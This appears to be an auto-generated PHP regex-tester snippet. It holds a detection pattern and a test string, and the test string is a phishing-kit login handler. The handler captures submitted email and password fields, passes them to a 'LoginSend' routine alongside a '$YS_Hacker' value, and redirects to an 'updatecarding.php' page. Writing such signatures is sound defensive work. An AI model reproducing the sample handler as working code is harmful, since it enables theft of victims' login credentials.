$re = '/^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*.{0,30}?include\s*[\'"]\.\/\.\.\/ysfunctions\/ysfunctions\.php.{0,350}?\$\w+\[["\']yass_password.{0,90}?loginsend\([^;]+;.{0,50}?\$to\s*=\s*["\'\.]+\/\w+\.php\?[\'"]\.md5\(base64_encode\(rand.{0,50}?header\([^;]+;(?:[^>]+>\s*)?$/is';
$str = '<?php
session_start();
include "./../YSFUNCTIONS/YSFUNCTIONS.php";
/*
Functions time zone.
*/
$userag = $_SERVER[\'HTTP_USER_AGENT\'];
/*
Functions session.
*/
$_SESSION[\'yass_email\'] = $_POST[\'yass_email\'];
$_SESSION[\'yass_password\'] = $_POST[\'yass_password\'];
/*
Functions message.
*/
LoginSend($_POST,$YS_email,$YS_Hacker);
/*
Send Login.
*/
$to = "../updatecarding.php?".md5(base64_encode(rand(0,10000).gmdate("His")));
header("Location: ".$to."?dispatch=");
?>
';
preg_match_all($re, $str, $matches, PREG_SET_ORDER, 0);
// Print the entire match result
var_dump($matches);
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for PHP, please visit: http://php.net/manual/en/ref.pcre.php